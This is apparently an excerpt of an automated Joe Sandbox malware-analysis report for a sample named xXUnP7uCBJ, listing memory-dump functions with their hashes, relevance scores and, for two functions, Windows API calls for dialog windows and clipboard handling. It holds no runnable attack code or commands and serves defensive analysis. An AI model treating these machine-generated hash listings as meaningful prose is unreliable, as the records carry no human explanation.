Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaabe0148a6a914a522e68306f9bdce69cb6ebba25830274dbbe91e4be86523f
Instruction ID: 948394f675b8b0f4961971637f53a991b7a3306d564dc7d5d73e36ea3c4ec9c0
Opcode Fuzzy Hash: aaabe0148a6a914a522e68306f9bdce69cb6ebba25830274dbbe91e4be86523f
Instruction Fuzzy Hash: D9C1B074E00218CFEB14DFA9C994B9DBBB2BF89304F6081A9D809AB355DB355A85CF50

Function 39564820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2baa3380762d2901427a84d1872c5cf8d22d5f96b5f5cfb1eeeada4d61411f59
Instruction ID: 0cebf9e2c9227f9b1e5e7843059ca7037a6da8b29ee9ea0bb3ae9b68578ed1d7
Opcode Fuzzy Hash: 2baa3380762d2901427a84d1872c5cf8d22d5f96b5f5cfb1eeeada4d61411f59
Instruction Fuzzy Hash: 6CC1C174E00218CFEB14DFA5C994B9DBBB2BF89305F6081A9D809AB365DB355E81CF50

Function 39566368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1964b5a0b9ea3bddf10b9fb935efa425195694c5005f807dd214d9277f0700b5
Instruction ID: 692a7e9ef3f20f1fad4da697bbcc9cabf817d7efbb2a4c9ce8fb36adb2b4ff2f
Opcode Fuzzy Hash: 1964b5a0b9ea3bddf10b9fb935efa425195694c5005f807dd214d9277f0700b5
Instruction Fuzzy Hash: 31C1C174E01218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E81CF50

Function 39563B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a8f3d559e0ae15564918c2c2332096cef400db336e6742b62d76062a6ed9d8a
Instruction ID: 822361d959ad431fed531435e543d5e7e13be993ed8fd7f1e0734271ce7c9d28
Opcode Fuzzy Hash: 1a8f3d559e0ae15564918c2c2332096cef400db336e6742b62d76062a6ed9d8a
Instruction Fuzzy Hash: 5BC1C274E00218CFEB54DFA5C954B9DBBB2BF89304F6081A9D809AB355DB359E81CF50

Function 395643C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3569831c23bc5fb21415d58ed778e5844044484a72ae2d21f34360c65e7fa4a
Instruction ID: 92e7f48f5b996a95a5e6045d8f0b7ef27f2f4a8eb22a40926958f9f540633d7a
Opcode Fuzzy Hash: a3569831c23bc5fb21415d58ed778e5844044484a72ae2d21f34360c65e7fa4a
Instruction Fuzzy Hash: 59C1D274E00218CFEB54DFA5C994B9DBBB2BF89305F6081A9D809AB355DB355E81CF10

Function 39563268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0cfd59f8434fddc722e6939240a167356a125ec1f961a95116c6765e59ebcd1
Instruction ID: dc8ba654cc17abf9cb080b1d9ed992c52fe1665a5fe1a109a325e546f2fda42a
Opcode Fuzzy Hash: c0cfd59f8434fddc722e6939240a167356a125ec1f961a95116c6765e59ebcd1
Instruction Fuzzy Hash: 00C1D174E00218CFEB54DFA5C994B9DBBB2BF89304F2081A9D809AB355DB359E85CF50

Function 39565208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957bf4d56d8ebb2bef1c32f27cb98465423580b423344022474ade1100f9717d
Instruction ID: b97c1c1995bc573ddd26f142e11cd2ce8609d73b19cf3c8ee712b12347463fcb
Opcode Fuzzy Hash: 957bf4d56d8ebb2bef1c32f27cb98465423580b423344022474ade1100f9717d
Instruction Fuzzy Hash: C4C1D274E00218CFEB54DFA5C994B9DBBB2BF89304F6081A9D809AB355DB355E82CF10

Function 39565AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f84fb88d5cfb5cef9bd81cdb8bad4585735e083f69b05eadc4dfe3b8e8ef2fa
Instruction ID: 8f4e05686d0882fa10b47c814ceee24a9edad165417b1afe94080f92acb928bf
Opcode Fuzzy Hash: 4f84fb88d5cfb5cef9bd81cdb8bad4585735e083f69b05eadc4dfe3b8e8ef2fa
Instruction Fuzzy Hash: 74C1C274E00218CFEB14DFA5C994B9DBBB2BF89304F6081A9D809AB355DB355E86CF50

Function 39562560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ec6028d938d9a5d9a47cb99bc5b4a73b58a1c6d15e4ef118d9f8c332611addf
Instruction ID: 1e33986b0f81d0f34d87039593ddab03e9d5c74a1c79d5bccef30ce4ee6efdc7
Opcode Fuzzy Hash: 6ec6028d938d9a5d9a47cb99bc5b4a73b58a1c6d15e4ef118d9f8c332611addf
Instruction Fuzzy Hash: E6C1B074E00218CFEB54DFA5C994B9DBBB2AF89304F6081A9D809AB355DB359E81CF50

Function 39564DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44087a4faa741d439f31558d20500024f527ef6d112365dae85a882d762eba4d
Instruction ID: e8c1f73693911fb2be1f73c2d8450721237d9d9193e50d6f0cf44b09ccc3bc72
Opcode Fuzzy Hash: 44087a4faa741d439f31558d20500024f527ef6d112365dae85a882d762eba4d
Instruction Fuzzy Hash: 62C1D174E00218CFEB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 39566C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 819ab5a604e6e6a6ad169832c8aa35e33ffe16aa59d0f2cd19f7d1ea504bcab0
Instruction ID: c02794a464c8fad67cf5764bb2e96f7fb8c54a129b75d2599fe87b966cd3aba2
Opcode Fuzzy Hash: 819ab5a604e6e6a6ad169832c8aa35e33ffe16aa59d0f2cd19f7d1ea504bcab0
Instruction Fuzzy Hash: F2C1C074E01218CFEB14DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E81CF50

Function 39561400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e627fe0bc05e5482b9eec3b21d620ff782a68af6238023222489dcf587216d3
Instruction ID: 814bc51942c924644dc20ecf95abe919bb9fabc78d43865e22539b75a52f127c
Opcode Fuzzy Hash: 2e627fe0bc05e5482b9eec3b21d620ff782a68af6238023222489dcf587216d3
Instruction Fuzzy Hash: CFC1C274E00218CFDB14DFA5C994B9DBBB2BF89304F6081A9D809AB365DB359E81CF50

Function 395674C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3c80b572dc4df8975fe22d6f017639c1f3dfd7ddb74bf741a5d91a025aefcb
Instruction ID: 66fb50803e7a8d38f0ca176897c5cc4e8fad79aa60135327d0d2c7aaf3e219c6
Opcode Fuzzy Hash: 5c3c80b572dc4df8975fe22d6f017639c1f3dfd7ddb74bf741a5d91a025aefcb
Instruction Fuzzy Hash: ECC1B174E00218CFEB54DFA9C994B9DBBB2BF89304F6081A9D809AB355DB355E81CF50

Function 39561CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d065a147f6f9a2971818ec653b4d709edb9d899d2472c51a26fd823a9425100
Instruction ID: 8c17c8d709cbb76f1ccb5eb4a331d25a730b47c1ed15acb4e3c75bdb38b7271b
Opcode Fuzzy Hash: 8d065a147f6f9a2971818ec653b4d709edb9d899d2472c51a26fd823a9425100
Instruction Fuzzy Hash: F2C1C174E00218CFEB54DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E81CF50

Function 39563F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfb4bfcd6b17510462a8dc30961842fdc6dfcf3bd76e5c8f5b64e4308b13d900
Instruction ID: 9f06acdf5265ccabcc7bde0fd375d052dea7fb7c56cca788c5815f39bbe27d2f
Opcode Fuzzy Hash: cfb4bfcd6b17510462a8dc30961842fdc6dfcf3bd76e5c8f5b64e4308b13d900
Instruction Fuzzy Hash: FFC1C174E00218CFEB14DFA5C994B9DBBB2BF89304F6081A9D809AB355DB355E81CF50

Function 39565F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07aa8cd5eb7d77df3306f47338a895de87760ced74f01235afff50d24ff04ed7
Instruction ID: 2ccd1fb70b7dd655b009783eb00502ffb12176e2752ee3cd7dac90880238904f
Opcode Fuzzy Hash: 07aa8cd5eb7d77df3306f47338a895de87760ced74f01235afff50d24ff04ed7
Instruction Fuzzy Hash: CDC1C074E01218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E81CF50

Function 395667C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29df987aff338393baee4ea35f3fb933b6ab011efedc044f73ca133512a265dc
Instruction ID: 1638d70fd4607f2a7bf53ef6ad01756abb902af69c951b9969451a3c32a98ac0
Opcode Fuzzy Hash: 29df987aff338393baee4ea35f3fb933b6ab011efedc044f73ca133512a265dc
Instruction Fuzzy Hash: 3DC1D274E01218CFDB14DFA5C954B9DBBB2BF89304F2081A9D809AB365DB359E81CF10

Function 39560FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 738fc04c7b50ad26d69c3c5795b1122003864f0300d7164fcde354a6045fc931
Instruction ID: ad552eff5c2c95691f8ecb8fb7e379c9ec6185156da28dbc358b7cbc86bf15c7
Opcode Fuzzy Hash: 738fc04c7b50ad26d69c3c5795b1122003864f0300d7164fcde354a6045fc931
Instruction Fuzzy Hash: 00C1C174E00218CFEB54DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E81CF50

Function 39565660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b58383d846fb0b8b068bbc9fc185ad9db865fcbb9ef3764ad778fa58e2570c48
Instruction ID: dd1b6cb463873547d6ef926b1f7b4762d582e546ecdf5efa0f8762299b15aaa6
Opcode Fuzzy Hash: b58383d846fb0b8b068bbc9fc185ad9db865fcbb9ef3764ad778fa58e2570c48
Instruction Fuzzy Hash: ACC1D274E00218CFEB14DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E86CF50

Function 39562E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d051a3cb1b05c7ee9b0f9b8e9fde8f93a5b48ae48b92c21df90113104ac030e1
Instruction ID: f87d0992c95a2c8c31cf5dee0e6766f5ebd1002c42ec61615f747bf4d57a6149
Opcode Fuzzy Hash: d051a3cb1b05c7ee9b0f9b8e9fde8f93a5b48ae48b92c21df90113104ac030e1
Instruction Fuzzy Hash: E7C1B174E00218CFEB14DFA5C994B9DBBB2AF89304F6081A9D809AB355DB359E85CF50

Function 395636C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6051f13dd92550cfd25fe8ef11611512788d8d7774744390f1d7ae265f66b767
Instruction ID: 7ed32da358eefd57b168b1c3da7a2597c66a801923440409ed425a37787c39a8
Opcode Fuzzy Hash: 6051f13dd92550cfd25fe8ef11611512788d8d7774744390f1d7ae265f66b767
Instruction Fuzzy Hash: FDC1B174E00218CFEB14DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E85CF50

Function 38FCC1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24285279a25fede59d3d6f74b55d87f55488adf61292fe5b41f5f8c2b26ce5a9
Instruction ID: e15cd8bca9fd1fae4d56658a2bf5b35f924bdd7307c03bc05c3aa22fc7304f08
Opcode Fuzzy Hash: 24285279a25fede59d3d6f74b55d87f55488adf61292fe5b41f5f8c2b26ce5a9
Instruction Fuzzy Hash: 72C1B174E00218CFEB54DFA5C994B9DBBB2BF89300F6085A9D809AB355DB359E85CF10

Function 38FCF054 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6c2e5163a9123f63a8a7d29ad59cc5433ad810f1199f41cd96e0fdbf52c82e4
Instruction ID: 76269595ad8ecd5988635541fd96fb38284e30153494ef28b9ad85e603ec4844
Opcode Fuzzy Hash: a6c2e5163a9123f63a8a7d29ad59cc5433ad810f1199f41cd96e0fdbf52c82e4
Instruction Fuzzy Hash: 33C19E74E00219CFEB54DFA5C994B9DBBB2FF89300F6081A9D809AB355DB359A85CF10

Function 38FCB4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c75a7c484f772475f164de7fd7f451cdb43acc4719ae677aed967101880ed3
Instruction ID: 4a2f418f913a591712fc2b921b510c58a96eaf22529a698fa14f64468e57313c
Opcode Fuzzy Hash: a8c75a7c484f772475f164de7fd7f451cdb43acc4719ae677aed967101880ed3
Instruction Fuzzy Hash: 70C1B178E00219CFDB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E85CF10

Function 38FCBD9C Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9423157c9404385ff5744b0258cf0d449b792983810d89d65a402fc02306d3ed
Instruction ID: 6e80121655f66ad98364b0f58a95b32504f02ae0635ca87cd264a192323910a8
Opcode Fuzzy Hash: 9423157c9404385ff5744b0258cf0d449b792983810d89d65a402fc02306d3ed
Instruction Fuzzy Hash: 94C1A074E00219CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF10

Function 38FCE339 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0bab30c703297b2569c7b630ff15ffce4b556e1030f0088ee772d455bad300
Instruction ID: 66ff7ec3fd3c6e86ef60b7106fa31724f93c0302d4874fc6b499f6250f0bed2b
Opcode Fuzzy Hash: 8d0bab30c703297b2569c7b630ff15ffce4b556e1030f0088ee772d455bad300
Instruction Fuzzy Hash: 67B1C078E00219CFDB54DFA4C994B9DBBB2BF89304F6085A9D809AB351DB359E85CF10

Function 39568193 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f8e83611e2280b948bdeaf15047842208491fd054448301a860cb834ae0830
Instruction ID: 1839888c3b7636e91330cec95ab3a88c16efe9946a30119ae2200a972ba46f47
Opcode Fuzzy Hash: 44f8e83611e2280b948bdeaf15047842208491fd054448301a860cb834ae0830
Instruction Fuzzy Hash: 2EA19C74E01228CFDB64DF64C854BD9BBB2BB89301F5095EAD90DA7260DB319E81CF51

Function 39568373 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935853dcd4882d8077d409b93cbdc575f0a6b029eb3e44233bfb913bbc42a7e2
Instruction ID: 84073049cad36562a95f4cb3bdedff63723d77d5c354e6a057971adf4f1797dc
Opcode Fuzzy Hash: 935853dcd4882d8077d409b93cbdc575f0a6b029eb3e44233bfb913bbc42a7e2
Instruction Fuzzy Hash: 3A519074A01229CFDB64DF64C854B99B7B2BB4A301F5099EAD80AB7350DB329E81CF50

Function 3956CBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d9c96d32360d2584081ec1aa6ea9e180c90040bdb9d8ba5a39feb2959762ab5
Instruction ID: e12b03d8e2b4cdeee6e78c17044c2fbd3c731dcc06bddb84ff0c5534f146203e
Opcode Fuzzy Hash: 4d9c96d32360d2584081ec1aa6ea9e180c90040bdb9d8ba5a39feb2959762ab5
Instruction Fuzzy Hash: F7D09278E4431D8BDB21DFA4D8442ECF770BB9A300F0129A6818CA7210EB719FA4DE56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
